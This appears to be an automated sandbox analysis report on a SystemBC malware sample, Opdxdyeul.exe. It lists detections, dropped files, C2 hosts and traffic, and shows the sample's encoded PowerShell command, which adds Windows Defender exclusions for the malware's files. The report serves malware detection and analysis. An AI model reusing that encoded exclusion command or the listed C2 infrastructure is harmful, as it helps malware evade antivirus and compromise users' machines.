QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Opdxdyeul.exe", ParentImage: C:\Users\user\Desktop\Opdxdyeul.exe, ParentProcessId: 6488, ParentProcessName: Opdxdyeul.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQ

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6488, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Opdxdyeul.exe

Avira: detected

Antivirus detection for URL or domain

Source: claywyaeropumps.com

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\colsv\qxdc.exe	Avira: detection malicious, Label: TR/Kryptik.ykkfo
Source: C:\ProgramData\tlwghd\flmixjo.exe	Avira: detection malicious, Label: TR/Kryptik.ykkfo
Source: C:\ProgramData\uinetk\wvgk.exe	Avira: detection malicious, Label: TR/Kryptik.ykkfo
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Avira: detection malicious, Label: TR/Kryptik.ykkfo

Found malware configuration

Source: 24.2.qxdc.exe.2edcc8c.2.raw.unpack

Malware Configuration Extractor: SystemBC {"HOST1": "claywyaeropumps.com", "HOST2": "178.132.2.10", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\colsv\qxdc.exe	ReversingLabs: Detection: 73%
Source: C:\ProgramData\tlwghd\flmixjo.exe	ReversingLabs: Detection: 73%
Source: C:\ProgramData\uinetk\wvgk.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: Opdxdyeul.exe	ReversingLabs: Detection: 73%
Source: Opdxdyeul.exe	Virustotal: Detection: 79%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\colsv\qxdc.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\tlwghd\flmixjo.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\uinetk\wvgk.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Opdxdyeul.exe

Joe Sandbox ML: detected

Source: Opdxdyeul.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Opdxdyeul.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Opdxdyeul.exe, 00000000.00000002.2369811450.00000000047D9000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2392088459.00000000061D0000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.000000000333B000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2684912235.0000000003AE3000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2845417049.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002E5D000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3444876134.0000000003D82000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Opdxdyeul.exe, 00000000.00000002.2369811450.00000000047D9000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2392088459.00000000061D0000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.000000000333B000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2684912235.0000000003AE3000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2845417049.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002E5D000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3444876134.0000000003D82000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058D4C3Ch	0_2_058D48B8
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058D4C3Ch	0_2_058D48A9
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_058D2B29
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_058D2B30
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058F7F28h	0_2_058F7BB0
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058F7F28h	0_2_058F7BA1
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058FEB40h	0_2_058FEA88
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058FEB40h	0_2_058FEA83
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058F848Eh	0_2_058F82B8
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then jmp 058F848Eh	0_2_058F82C8
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_05A1D7E8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05974C3Ch	8_2_059748B8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05974C3Ch	8_2_059748A9
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	8_2_05972B30
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	8_2_05972B29
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05A07F28h	8_2_05A07BB0
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05A07F28h	8_2_05A07BA1
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05A0848Eh	8_2_05A082B8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05A0EB40h	8_2_05A0EA82
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05A0EB40h	8_2_05A0EA88
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then jmp 05A0848Eh	8_2_05A082C8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	8_2_05B2D7E8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054B4C3Ch	14_2_054B48B8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054B4C3Ch	14_2_054B48A9
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	14_2_054B2B29
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	14_2_054B2B30
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054D7F28h	14_2_054D7BB0
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054D7F28h	14_2_054D7BA4
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054D848Eh	14_2_054D82C8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054DEB40h	14_2_054DEA88
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054DEB40h	14_2_054DEA82
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then jmp 054D848Eh	14_2_054D82B8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	14_2_054FD7E8

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: claywyaeropumps.com
Source: Malware configuration extractor	URLs: 178.132.2.10

Source: global traffic

TCP traffic: 192.168.2.6:49884 -> 178.132.2.10:4000

Source: Joe Sandbox View

IP Address: 178.132.2.10 178.132.2.10

Source: Joe Sandbox View

ASN Name: WORLDSTREAMNL WORLDSTREAMNL

Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	TCP traffic detected without corresponding DNS query: 178.132.2.10
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: claywyaeropumps.com

Source: powershell.exe, 00000003.00000002.2320456437.0000000006F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.
Source: svchost.exe, 00000010.00000002.3453992370.000001DFB6E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.16.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Opdxdyeul.exe, 00000000.00000002.2338555032.00000000032AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2315519389.0000000004781000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.000000000333B000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002D6F000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002C5E000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002E5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2322481661.0000000007E37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000003.00000002.2315519389.0000000004781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000010.00000003.2463088286.000001DFB6D70000.00000004.00000800.00020000.00000000.sdmp, edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000003.00000002.2315519389.00000000048D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2499527704.0000000004937000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2601852778.0000000004347000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2684912235.00000000043D7000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2845417049.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3444876134.00000000044B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000003.00000002.2315519389.00000000050EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.2318319566.00000000057E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Opdxdyeul.exe, 00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp, qxdc.exe, 00000008.00000002.2480913690.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 0000000E.00000002.2571975141.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, Yjlwuuys.exe, 00000012.00000002.2655007606.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000015.00000002.2818927936.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, qxdc.exe, 00000018.00000002.3414550975.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Opdxdyeul.exe, 00000000.00000002.2369811450.0000000004851000.00000004.00000800.00020000.00000000.sdmp, Opdxdyeul.exe, 00000000.00000002.2389923725.0000000005880000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D1138 NtResumeThread,	0_2_058D1138
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D1130 NtResumeThread,	0_2_058D1130
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FFEA8 NtProtectVirtualMemory,	0_2_058FFEA8
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FFEA0 NtProtectVirtualMemory,	0_2_058FFEA0
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05971138 NtResumeThread,	8_2_05971138
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05971130 NtResumeThread,	8_2_05971130
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0FEA8 NtProtectVirtualMemory,	8_2_05A0FEA8
Source: C:\ProgramData\colsv\qxdc.exe	Code function: 8_2_05A0FEA0 NtProtectVirtualMemory,	8_2_05A0FEA0
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B1138 NtResumeThread,	14_2_054B1138
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054B1130 NtResumeThread,	14_2_054B1130
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DFEA8 NtProtectVirtualMemory,	14_2_054DFEA8
Source: C:\Users\user\AppData\Roaming\Yjlwuuys.exe	Code function: 14_2_054DFEA0 NtProtectVirtualMemory,	14_2_054DFEA0

Source: C:\Users\user\Desktop\Opdxdyeul.exe	File created: C:\Windows\Tasks\Test Task17.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp			Jump to behavior

Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_01290E5C	0_2_01290E5C
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0129D230	0_2_0129D230
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0129940B	0_2_0129940B
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_01299418	0_2_01299418
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_012999D0	0_2_012999D0
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_01299A20	0_2_01299A20
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_01299A30	0_2_01299A30
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_057B0738	0_2_057B0738
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_057B0732	0_2_057B0732
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0582142C	0_2_0582142C
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05820040	0_2_05820040
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0582BA60	0_2_0582BA60
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0582A649	0_2_0582A649
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0582A658	0_2_0582A658
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05824167	0_2_05824167
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05824178	0_2_05824178
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05820007	0_2_05820007
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05823030	0_2_05823030
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0582BA51	0_2_0582BA51
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_0582525B	0_2_0582525B
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_05825268	0_2_05825268
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D3C20	0_2_058D3C20
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D7F90	0_2_058D7F90
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DEF28	0_2_058DEF28
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D2EC0	0_2_058D2EC0
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DE3F0	0_2_058DE3F0
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D4DD8	0_2_058D4DD8
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D4DE8	0_2_058D4DE8
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D3C10	0_2_058D3C10
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DCFB0	0_2_058DCFB0
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DCFC0	0_2_058DCFC0
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DEF18	0_2_058DEF18
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D2EB1	0_2_058D2EB1
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058DE041	0_2_058DE041
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058D33C7	0_2_058D33C7
Source: C:\Users\user\Desktop\Opdxdyeul.exe	Code function: 0_2_058FD138	0_2_058FD138
